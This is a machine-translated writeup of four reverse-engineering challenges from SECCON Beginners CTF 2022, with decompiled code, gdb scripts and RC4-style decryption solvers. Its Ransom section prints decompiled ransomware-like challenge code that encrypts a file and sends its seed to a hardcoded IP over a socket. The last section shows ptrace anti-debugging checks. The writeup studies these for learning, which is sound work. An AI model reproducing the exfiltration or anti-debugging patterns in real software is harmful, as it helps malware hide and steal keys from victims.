All Articles

SECCON Beginners 2022 Writeup

This page has been machine-translated from the original page.

I participated in SECCON Beginners CTF 2022, which was held from 2022/06/04.

This year again I only took on the Rev challenges, but I managed to solve them all.

image-20220605125809068

Overall, the problems felt like proper reverse-engineering challenges, and they were very fun to solve.

This time as well, I’ll write up the problems I found particularly interesting.

Contents

WinTLS(Rev)

You are given a simple PE binary that checks whether the flag string entered through the GUI is correct.

Decompiling the part that validates the input yields the following function.

bool check(char *param_1)
{
  int iVar1;
  char *_Str1;
  
  _Str1 = (char *)TlsGetValue(TLS);
  iVar1 = strncmp(_Str1,param_1,0x100);
  return iVar1 != 0;
}

Here, it seems the program determines whether the flag is correct by comparing the input with the string in the TLS area obtained by the TlsGetValue function.

TLS refers to Thread Local Storage, a per-thread private area.

Reference: Understanding Thread Local Storage (TLS) - Thorough Explanation of Windows - Thorough Explanation of Web/DB Programming

Reference: TlsGetValue function (processthreadsapi.h) - Win32 apps | Microsoft Docs

Since TlsSetValue is used to store a value in TLS, I checked where this function is called.

It turned out that TlsSetValue is called at the following two locations.

image-20220604201228653

image-20220604201206096

Tracing back the callers of these two functions, I confirmed that the program creates two threads at the following point after startup.

CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,LPTHREAD_START_ROUTINE)&t1,atStack312,0,&DStack36);
CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,LPTHREAD_START_ROUTINE)&t2,atStack312,0,&DStack36);

It seems each thread stores a different value in its own TLS within the corresponding LPTHREAD_START_ROUTINE.

Each thread performs a different operation on the input, and the input that satisfies both becomes the flag.

More concretely, the input is checked from the beginning, and the difference is whether characters satisfying i % 3 == 0 or i % 5 == 0 are removed or extracted.

So I rewrote that logic in Python and then created the following solver to invert it, which successfully recovered the flag.

"""
flag = ""
k = 0
for (i = 0; (i < 0x100 && (word = flag[i]), word != '\0')); i = i + 1) {
    if (((int)i % 3 == 0) || ((int)i % 5 == 0)) {
        j = k;
        k = k + 1;
        result[j] = word;
    }
}
result[k] = 0;
"""
# TlsSetValue(TLS,"c4{fAPu8#FHh2+0cyo8$SWJH3a8X");
# TlsSetValue(TLS,"tfb%s$T9NvFyroLh@89a9yoC3rPy&3b}");

# ===========================================

a = list(r"c4{fAPu8#FHh2+0cyo8$SWJH3a8X")
b = list(r"tfb%s$T9NvFyroLh@89a9yoC3rPy&3b}")
flag = ""
for i in range(len(a) + len(b)):
    if i % 3 == 0 or i % 5 == 0:
        flag += a.pop(0)
    else:
        flag += b.pop(0)
print(flag)
# ctf4b{f%sAP$uT98Nv#FFHyrh2o+Lh0@8c9yoa98$ySoCW3rJPH3y&a83Xb}

Recursive(Rev)

You are given an ELF binary that checks whether the input matches the flag.

When I decompiled it with Ghidra, as the challenge name suggests, it seemed to call the check function recursively over and over.

image-20220605002037042

It took me a little time to reverse the function, but after rewriting it in Python it looked roughly like this.

The string given as input is recursively split in half and checked, and when the length of the string passed as an argument finally becomes 1, the program seems to validate the input by checking whether that character matches the character at a specific position in a table in the data section.

table = ["DATA"]

def check(data, i):
    l = len(data)
    if l == 1:
        if chr(table[i]) == "Flagの文字"
            print(chr(table[i]), end="")
            return 1
    else:
        k = int(l / 2)
        nd = data[0:k]
        if check(nd, i) == 1:
            return 1
        nd = data[k:l-k]
        if check(nd, k*k+i) == 1:
            return 1

    return 0

check(flag, 0)

At first I thought a brute-force approach, determining the characters one by one from the beginning, would be simplest, but automating the exhaustive checks was annoying, so I used a script like the following to identify the flag manually one character at a time.

# gdb -x run.py
import gdb

BINDIR = "/home/ubuntu/Downloads"
BIN = "recursive"
gdb.execute('file {}/{}'.format(BINDIR, BIN))
gdb.execute('b *{}'.format("0x5555555552bf"))

with open("input.txt", "w") as f:
    f.write("ctf4b{r3curs1v3_c4l1_1s_4_v3ry_u53fu1" + "A"*(38-37))

gdb.execute('run < {}'.format("input.txt"))

for i in range(0x26):
    try:
        gdb.execute('continue')
        gdb.execute('xinfo register edx')
    except:
        gdb.execute('quit')

If you edit this script and run it 38 times, you can recover the flag.

Ransom(Rev)

This challenge was about manually reproducing a file encrypted by ransomware.

It felt a lot like playing with real malware, and it was a lot of fun.

Decompiling the challenge binary yielded code like the following.

At a high level, it seems to encrypt a secret file using an encryption key generated from a random seed, and then send the seed to an external destination at the end.

if (__stream == (FILE *)0x0) {
  puts("Can\'t open file.");
  uVar2 = 1;
}
else {
  pcVar3 = fgets(text,0x100,__stream);
if (pcVar3 != (char *)0x0) {
    sVar4 = strlen(text);
    enced = malloc(sVar4 << 2);
    FUN_55555555557f(__buf,text,enced);
    __stream_00 = fopen("ctf4b_super_secret.txt.lock","w");
    if (__stream_00 == (FILE *)0x0) {
    puts("Can\'t write file.");
    uVar2 = 1;
    goto LAB_55555555591f;
    }
    k = 0;
    while( true ) {
    sVar4 = strlen(text);
    if (k == sVar4) break;
    fprintf(__stream_00,"\\x%02x",(ulong)*(byte *)(k + (long)enced));
    k = k + 1;
    }
    fclose(__stream_00);
}
fclose(__stream);
__fd = socket(2,1,0);
if (__fd < 0) {
    perror("Failed to create socket");
    uVar2 = 1;
}
else {
    local_128._0_2_ = 2;
    local_124 = inet_addr("192.168.0.225");
    local_128._2_2_ = htons(0x1f90);
    iVar1 = connect(__fd,(sockaddr *)local_128,0x10);
    if (iVar1 == 0) {
    write(__fd,__buf,0x11);
    uVar2 = 0;
    }
    else {
    perror("Failed to connect");
    uVar2 = 1;
    }
}

Since the seed used to encrypt the flag could be obtained from the provided pcap file, I next set out to identify the encryption logic.

Looking at the part that performs encryption based on the seed, I found that the function at 0x555555555381 generates an encryption key from the seed and uses that key to encrypt the flag.

image-20220605012625271

The encryption key generated by 0x555555555381 is uniquely determined by the seed value, so I was able to obtain it easily by using gdb to tamper with the seed value passed to that function and capturing its output from memory.

# gdb -x run.py
import gdb

BINDIR = "/home/ubuntu/Downloads"
BIN = "ransom"

gdb.execute('file {}/{}'.format(BINDIR, BIN))
gdb.execute('b *{}'.format("0x5555555555b9"))
gdb.execute('b *{}'.format("0x5555555555e6"))
gdb.execute('run')

seed = "rgUAvvyfyApNPEYg"
for i, c in enumerate(seed):
    target = hex(0x5555555592a0 + i)
    print('set {}{} = {}'.format("{char}", target, hex(ord(c))))
    gdb.execute('set {}{} = {}'.format("{char}", target, hex(ord(c))))

gdb.execute('x/s 0x5555555592a0')
gdb.execute('continue')

i = gdb.inferiors()[0]
mem = i.read_memory(0x7fffffffdaa0, 264)
key = mem.tobytes()
print(key)

Having identified the encryption key, I next reversed the encryption process implemented by FUN_55555555545e.

The decompiled result looked like this.

undefined8 FUN_55555555545e(long param_1,char *param_2,long param_3)

{
  size_t sVar1;
  uint local_24;
  uint local_20;
  ulong local_18;
  
  local_24 = 0;
  local_20 = 0;
  local_18 = 0;
  sVar1 = strlen(param_2);
  for (; local_18 < sVar1; local_18 = local_18 + 1) {
    local_24 = local_24 + 1 & 0xff;
    local_20 = *(byte *)(param_1 + (int)local_24) + local_20 & 0xff;
    FUN_555555555349(param_1 + (int)local_24,(int)local_20 + param_1);
    *(byte *)(local_18 + param_3) =
         param_2[local_18] ^
         *(byte *)(param_1 +
                  (ulong)(byte)(*(char *)(param_1 + (int)local_20) +
                               *(char *)(param_1 + (int)local_24)));
  }
  return 0;
}

Rewriting it in Python gives something roughly like this.

A = 0;
B = 0;
i = 0;
sVar1 = strlen(flag);

for (; i < sVar1; i = i + 1):
    A = A + 1 & 0xff;
    B = key + A + B & 0xff
    swap(key[A], key[B])
    encrypted[i] = flag[i] ^ (key[(key[B] + key[A]) & 0xff])

Once I understood the encryption logic, all that was left was to create a solver like the following to decrypt it, and I was able to recover the flag.

encrypted = [ b for b in b'\x2b\xa9\xf3\x6f\xa2\x2e\xcd\xf3\x78\xcc\xb7\xa0\xde\x6d\xb1\xd4\x24\x3c\x8a\x89\xa3\xce\xab\x30\x7f\xc2\xb9\x0c\xb9\xf4\xe7\xda\x25\xcd\xfc\x4e\xc7\x9e\x7e\x43\x2b\x3b\xdc\x09\x80\x96\x95\xf6\x76\x10']
key = [b for b in b'h\x1d\x8bu}j\xe90\x14\xe7\x9b\xa3Ps!\x7f\x04y\x86)\xe2\x01\xd8U\xe6]\xc43L\x10-\x05\xc0\xc3+\x15\x03\xa4\xeb\x9e\xdd\x8aE\xe5\x02H\x93,VB$[\x96\x876\xa0\x84\x1f\xa8\xfb:\xe1\x07 \xf2\x9a\xc2\x80o\x8cm\x1ext\xcf\xc7cd\x9c\xcc\xd0\x0fTQ\xd6\xdf\x92\x9f\xed\x00\xa7\xf9"\xff\x0c\xc1(\xcd\x8fW\xf6\x99z\xfe\t\xaa\xe8C\x94\x06\xb9\xb87\xef\xf0nD\x8d&\xe3\x85\x08\xadK;\xd2#\x88\xb5Z1\xc6\x984\xe0\xfc\xb3ek\x82\xde\x91\x97%\x19\xea\x95\xa5\xb2\x8e\xa1N\xba\xfd\xb6\x81\xc9\xab\r\xda\xd3\xbb<\xf4\xd9\xbf\x11w\x9d\xe4\xbd\xfa\x1c\xbcF{\xf7\\\xb4\n\xd1a\xaeA8\xa2\xdb\xdc\x18\xcb\xc8\xee\x90\xc5\x13\x0b\xca\xce\x1ar\xd7Y\xf1Sf\x16\xf8\xb1\xa9_qMg\x83\x89\xf5\xd5\xacI*\xf3~=\x12>b\xbe\xb0@2R\x0e?\xecX\xaf\xb7.J`5G\'|\x17O\xa69vi\xd4pl\x1b/^@YUUUU\x00\x00']
flag = ["X" for i in range(50)]
# print(len(encrypted))
# print(len(base))

A = 0
B = 0
for i in range(50):
    A = (A + 1) & 0xff
    B = (key[A] + B) & 0xff

    tmp = key[A]
    key[A] = key[B]
    key[B] = tmp

    # encrypted[i] = ord(flag[i]) ^ (key[(key[B] + key[A])& 0xff])
    flag[i] = chr(encrypted[i] ^ (key[(key[B] + key[A])& 0xff]))

print("".join(flag))
# print(encrypted)
# ctf4b{rans0mw4re_1s_v4ry_dan9er0u3_s0_b4_c4refu1}

pleasenotdebug_me(Rev)

The last problem was marked Hard, but personally it felt about the same as the Medium problem Ransom.

The challenge binary is a program that validates the input flag, but it behaves like packed malware and also includes anti-debugging functionality.

A rough solution outline is as follows.

  • Decrypt the encrypted payload in the binary’s data section and extract it as an ELF file
  • Patch the extracted ELF in Ghidra to disable its anti-debugging checks
  • Use gdb to identify the encryption logic used during flag verification and write a solver

image-20220605014721603

First, I used the following script to decrypt the encrypted payload in the binary’s data section.

The decrypted data is saved as another binary file in little-endian format.

binary = [<データセクションから抽出したバイナリ>]

for i in range(len(binary)):
    binary[i] = binary[i] ^ 0x16

with open("revert.bin", "wb") as bin:
    for i in range(len(binary)):
        bin.write(binary[i].to_bytes(1,"little"))

When I decompiled the extracted binary here, I found the following anti-debugging code embedded in it, so I used Ghidra’s patch feature to tamper with the conditional branch.

long lVar1;
ulong uVar2;
uint local_c;

local_c = 0;
lVar1 = ptrace(PTRACE_TRACEME,0,1,0);
if (lVar1 == 0) {
  local_c = 2;
}
uVar2 = ptrace(PTRACE_TRACEME,0,1,0);
if (uVar2 == 0xffffffffffffffff) {
  local_c = local_c * 3;
  uVar2 = (ulong)local_c;
}
if (local_c != 6) {
  fwrite("No bugs here so don\'t debug me!\n",1,0x20,stderr);
                /* WARNING: Subroutine does not return */
exit(1);
}

After patching

image-20220605020512544

This is a detection method that takes advantage of the fact that multiple strace/ptrace attachments cannot be active at the same time.

For details, the following article was helpful.

Reference: Sebastian Auberger’s Blog | Linux Anti Debugging

By dynamically analyzing the patched binary here, I was able to extract the encrypted flag and the key from memory.

I could also confirm that the encryption method was RC4.

So, by reconstructing RC4 from the extracted data, I was able to recover the flag.

key = [0x62, 0x30, 0x36, 0x61, 0x61, 0x32, 0x66, 0x35,
0x61, 0x35, 0x62, 0x64, 0x66, 0x36, 0x63, 0x61,
0x61, 0x37, 0x31, 0x38, 0x37, 0x38, 0x37, 0x33,
0x34, 0x36, 0x35, 0x63, 0x65, 0x39, 0x37, 0x30,
0x64, 0x30, 0x34, 0x66, 0x34, 0x35, 0x39, 0x64]

encrypted = "".join([chr(c) for c in [ 0x27, 0xd9, 0x65, 0x3a, 0x0f, 0x25, 0xe4, 0x0e, 0x81, 0x8a, 0x59, 0xbc, 0x33, 0xfb, 0xf9, 0xfc, 0x05, 0xc6, 0x33, 0x01, 0xe2, 0xb0, 0xbe, 0x8e, 0x4a, 0x9c, 0xa9, 0x46, 0x73, 0xb8, 0x48, 0x7d, 0x7f, 0x73, 0x22, 0xec, 0xdb, 0xdc, 0x98, 0xd9, 0x90, 0x61, 0x80, 0x7c, 0x6c, 0xb3, 0x36, 0x42, 0x3f, 0x90, 0x44, 0x85, 0x0d, 0x95, 0xb1, 0xee, 0xfa, 0x94, 0x85, 0x0c, 0xb9, 0x9f, 0x00 ]])

flag = RC4(encrypted, key)
# ctf4b{D0_y0u_kn0w_0f_0th3r_w4y5_t0_d3t3ct_d36u991n9_1n_L1nux?}

Summary

This was my third year participating in sec4b, and compared with last year, I felt that I could solve the Rev challenges much more comfortably.

That said, once the problems get to a level above sec4b, I still get stuck pretty often, so I need to keep improving.